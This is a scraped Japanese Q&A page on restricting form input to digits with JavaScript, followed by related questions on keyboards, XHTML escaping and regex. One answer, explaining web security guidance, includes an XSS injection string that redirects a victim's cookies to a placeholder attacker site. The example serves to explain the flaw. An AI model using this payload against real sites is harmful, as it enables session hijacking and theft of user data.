http://oshiete1.goo.ne.jp/kotaeru.php3?q=143226
を参考にさせていただいて、以下のコードで実行してみました。

===============================
<BODY>
<FORM NAME="f" ACTION="UPDATE" METHOD="POST" TARGET="FRAME_D"
onSubmit="return conf();">

<INPUT TYPE="TEXT" NAME="FM_KINGAKU"
onKeyDown="return keyCheck(event.keyCode);" >

<SCRIPT TYPE="text/javascript" SRC="./JS.SOURCE"></SCRIPT>
<SCRIPT TYPE="text/javascript">
<!--
function keyCheck(keyCodes){
if((keyCodes >= 49 && keyCodes <= 57) || (keyCodes >= 96 && keyCodes <= 105) || keyCodes == 46 || keyCodes == 8)
return true;
else return false;
}
function conf(WK_LINEINDEX){
/* 省略 */
}
// -->
</SCRIPT>

</FORM>
</BODY>
===============================

しかし、数値以外のキーを押しても何事もなかったかのように
入力できてしまうのです。
前の質問者のlovelypoohさんは解決されたみたいなんですが、
いったい何が違うのでしょう?
onSubmit="return conf();" ってのと
onKeyDown="return keyCheck(event.keyCode);" ってのが
同じFORMタグの中にある、とか関係あるのでしょうか?

このQ&Aに関連する最新のQ&A

A 回答 (2件)

入力をなかったことにするのは event.returnValue=false です。



<INPUT onKeyPress=keyCheck()>

<SCRIPT TYPE="text/javascript">
function keyCheck(){
if(event.keyCode>57 || event.keyCode<48)
event.returnValue=false;
}
</SCRIPT>
    • good
    • 0
この回答へのお礼

できましたできました!!
これでキーコードを設定すれば他にも応用できますね。
ありがとうございました。

お礼日時:2002/04/02 08:45

こちらの関数(keyCheck)はキーを押されたときにコールするんですよね。


onSubmit時はreturn値により、「true(送信する)/false(送信中止する)」
という目に見える動きがありますが、onKeyDown時に単にreturn値を戻しても
特に何も起こらないと思うんですが。。。押したキーがなかった事になる訳じゃ
ありませんので。(^-^;)

上記を踏まえるとキーを押されたときに1字1字チェックするよりは、onSubmit時に
入力された全ての文字を一度にチェックする方が楽かもしれません。
#インデントのため全角スペース入れてます。

function conf()
{
 with(document.f)
 {
  if(isNaN(FM_KINGAKU.value))
  {
   alert("数値以外の値は入力できません");
   return false;
  }

   :  //その他の処理
 }
}

isNaNが嫌ならcharAtなんかで1字ずつ文字を抜き出してチェックするというのもあります。
お役に立てるといいのですが。。。

参考URL:http://www.openspc2.org/JavaScript/ref/index.html

この回答への補足

回答ありがとうございます!
参考にさせていただいて、うまくいきました。
ところで「入力をなかったことにする」ということはできないってことですか?
では、http://oshiete1.goo.ne.jp/kotaeru.php3?q=143226
回答No.3のコード
============
function keyCheck(keyCodes){
if((keyCodes >= 49 && keyCodes <= 57) || (keyCodes >= 96 && keyCodes <= 105) || keyCodes == 46 || keyCodes == 8)
return true;
else return false;
}
ONKEYDOWN="return keyCheck(event.keyCode);"
============
は何をするためのものだったのでしょう・・・??

補足日時:2002/03/29 11:42
    • good
    • 0

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Qノートパソコン本体のキーボード入力がおかしい。

日立 FLORA 270W PC8NB2を貰ったのですが、キーボードの配列がおかしかったり、入力できなくなったりします。マウスは普通に動くし、キーボードを外付けでつないでもちゃんと入力できます。ノート本体のキーボードのみおかしいのです。
これは故障なのでしょうか?

Aベストアンサー

こちらをお試し下さい
http://121ware.com/qasearch/1007/app/nec.jsp?003474

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Qキーボード入力がおかしい

キーボード入力の際、vを押すとvb nを押すとnm のように
隣のキーが一緒に入力されてしまいます。
他、スペースキーがエンターの役割をしていたりと非常に困っています。

確認したこと・試したこと

キー入力は日本語になっている。
他のキーボードを接続し、試してみても同じ症状。
OSを新規でインストールをしてもなおらない。

他のキーボードで試してみて同じ症状だったので、キーボードの故障は
考えにくいのかなと感じていますが、何か原因になりうる可能性がある
ことはあるのでしょうか?

Aベストアンサー

こんにちは。

・他のキーボードも同じ
・OSを新規でインストールしても治らない

という事であれば、マザーボードが原因ではないでしょうか?
USBキーボードで試して、正常に入力できるようならば、
PS/2ポートの異常かと思います。

それか、OSのCDからブートして回復コンソールでの入力に
異常がなければ、マザーボードではないと思うので、
もしくはキーボードドライバが原因・・・?
他のキーボードドライバを試してみてください。

ここまでやって無理なら、私は修理に出します。
保証期間内であれば、購入店やメーカーで対処してもらった方がいいと思います。

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Qキーボード入力がおかしい。

WinXPの自作PCを使用していますが、ここ数日、表題のとおりキーボード入力が
おかしくなる事があります。再起動すれば治るのですが、原因を知りたくて投稿しました。

症状:半角アルファベットならば正確に入力できるのだが、ローマ字入力で入力すると、
母音の入力がおかしくなっています。(例)「a」が「b」で、「I」が「C」で入力されます。 したがって、
「ちゃ」と入力する時に、「T」「Y」「A」の順で打ち込むが、画面上では「T」「Y」「B」となって
しまいます。今まで経験した事のない症状なので、教えていただけますでしょうか。

OSはXP(SP3)、ATOK2009を使用しています。キーボードは汎用の物を使っており、
再起動すると治る事からキーボード不良ではないと考えます。仕様で追加情報が必要であれば
補足欄に追加していきます。

Aベストアンサー

補足の返事です

英語のキーボードを削除して再起動後も出てくるなら
手動で設定を変更する必要があるです。

又はレジストリーの書き換え


ま、手動の方が安全なんで一応説明です。。

1 デバイスからキーボードを選んでドライバーの更新
2 検索画面は[今回は接続しません]にチェック入れて次へ
3 一覧または特定の場所からインストールにチェックを入れて次へ
4 検索しないでインストールするドライバーを選択にチェックを入れ次へ
5 互換性のあるハードウェアーの表示(だったけ?)のチェックを外す
6 画面左で標準キーボードを選択
7 画面右側で日本語PS2/キーボード(106/109キーCtr+英数)を選択
8 警告が出るので(ふざけるな!)と言って無視して[はい]を押す(一応治るようにとお祈りしておく)
9 ドライバーのインストールが開始され終了後[完了]をクリックしておしまい
10 再起動の要求が出るのでプログラムを終了して再起動
11 再起動後デバイスマネージャーを確認する(日本語#$%&%$#であればOK)
12以上で復帰できない場合はスクリーンキーボードでは正常か確認し正常ならキーボードの故障もあり得ます
13 USB接続なら違うポートで拾ってみる事も必要です、

14 自作PCだからこんなこと書いても無駄そうですね、この位わかっとるって言われそうです)


長くてすいませんが通常はこれで治ると思う、

補足の返事です

英語のキーボードを削除して再起動後も出てくるなら
手動で設定を変更する必要があるです。

又はレジストリーの書き換え


ま、手動の方が安全なんで一応説明です。。

1 デバイスからキーボードを選んでドライバーの更新
2 検索画面は[今回は接続しません]にチェック入れて次へ
3 一覧または特定の場所からインストールにチェックを入れて次へ
4 検索しないでインストールするドライバーを選択にチェックを入れ次へ
5 互換性のあるハードウェアーの表示(だったけ?)のチェックを外...続きを読む

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

QMacのキーボード入力がおかしいのですが、

マッキントッシュの環境で、
これまでは正常だったキーボードの入力が座席移動のため、コードを抜き差しした後おかしくなってしまいました。全ての入力ではないのですが、

以前(正常時)   現在(おかしい)
・半角/全角幹事キー → ‘ 
・&         → ^
・‘         → &
・(         → *
・)         →(
・*         → ”   

等、他の記号もずれています。
ちなみにOSは 8.6です修正のしかたが
判るかた教えて下さい。

Aベストアンサー

>G3ブルーホワイトで使用してました、
>APPLE USB KEYBOARD - JISを使用していました、
これが問題だったようです、
>APPLE PRO KEYBOARD - JIS(G4 1250mhz用)に変えたらできました。

なるほど。機種がわからなかったので何でしたが最近の機種はそれに付属しているキーボードより古いものはご認識されるんですがそれが原因だったんですね。

試しにうちのマックの1.25G DUALに以前のマックのキーボードを指したらやはりどんなことをしてもご認識しました。

同じ機種同士での移動と勘違いしていたのが早合点でしたね

Qreturn (A && B) || 0;

下記コードはどういう意味でしょうか?
・piyo[b] と piyo[b][a] または 0を返す?
・条件分岐もないのに?
・もしかして条件式を返す?
・あるいは、piyo[b] と piyo[b][a] を返す。または 0?
・ビット演算子?

hoge = function(a, b) {
 return (piyo[b] && piyo[b][a]) || 0;
};

Aベストアンサー

意味は「piyo[b][a]に入っている数値を安全に返したい」です

もしpiyo[b]が未定義ならpiyo[b][a]にアクセスしようとするとエラーになってしまいます
そのためまず、piyo[b] && piyo[b][a]で、piyo[b]が真、つまりオブジェクトならば、piyo[b][a]を評価します。
つまりpiyo[b] && piyo[b][a]はundefinedか、piyo[b][a]になることが期待できます

次に||0で、偽ならば0を返します
つまり、piyo[b]が未定義のときのundefinedや、piyo[b][a]が未定義のときのundefined、また、piyo[b][a]が0のときは偽と評価されるので0になります。

以上より、piyo[b] && piyo[b][a] || 0はpiyoの構造がある程度しっかりしてなくとも、安全に数値(初期値0)を返すことができます。
ただし、完璧に保証できるわけではありません。
例えば、piyo自体がnullやundefinedになる危険性がある場合はさらなるチェックが必要です。

よってこのコードからは、piyoは二次元数値配列であってほしいのだけど、添字が事前にわからないため、最初は一次元配列としてしか初期化していなくて、あとから追加していく形、でも取得するときは、まだ追加されていないときでも、安全に0を返したいのだと分かります。

意味は「piyo[b][a]に入っている数値を安全に返したい」です

もしpiyo[b]が未定義ならpiyo[b][a]にアクセスしようとするとエラーになってしまいます
そのためまず、piyo[b] && piyo[b][a]で、piyo[b]が真、つまりオブジェクトならば、piyo[b][a]を評価します。
つまりpiyo[b] && piyo[b][a]はundefinedか、piyo[b][a]になることが期待できます

次に||0で、偽ならば0を返します
つまり、piyo[b]が未定義のときのundefinedや、piyo[b][a]が未定義のときのundefined、また、piyo[b][a]が0のときは偽と評価されるの...続きを読む

QIEとOEの時のキーボード入力がおかしい

こんにちは、キーボード入力がおかしいので質問させてください。Internet ExpolorerとOutlook Expressの時だけキーボードの入力が変なのです。@をおすと [ と表示されます。英語の101キーボードになっているようです。しかし、他のソフトではWordやメモ帳等は正常に入力できるのです。デバイスマネジャーも日本語106/109になっています。
過去ログを見ましたが、IEだけとというのは見つけられませんでした。どなたか お助けください。

Aベストアンサー

これでもいいかも、
スタート→「ファイル名を指定して実行」をクリック
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00000411" /v "Layout File" /d "KBDJPN.DLL" /t REG_SZ /f
(一行です。コピペしてね)
と入力して「OK」をクリック

その後、Windowsを再起動させます。

Q

数十の<a>タグがあるHTMLファイルの中で、
<div id="blank">で囲まれた<a>タグ群のみをすべてtarget="_blank"にしたいと考えています。
該当する<a>タグすべてにtarget="_blank"を書くと、HTMLファイルの容量が大きくなるので、CSSのIDとJavaScriptを組み合わせて、実現できないものでしょうか。

Aベストアンサー

<base target="_blank">
<div id="blank">
 <!-- -->
</div>
<base target="_self">


人気Q&Aランキング

おすすめ情報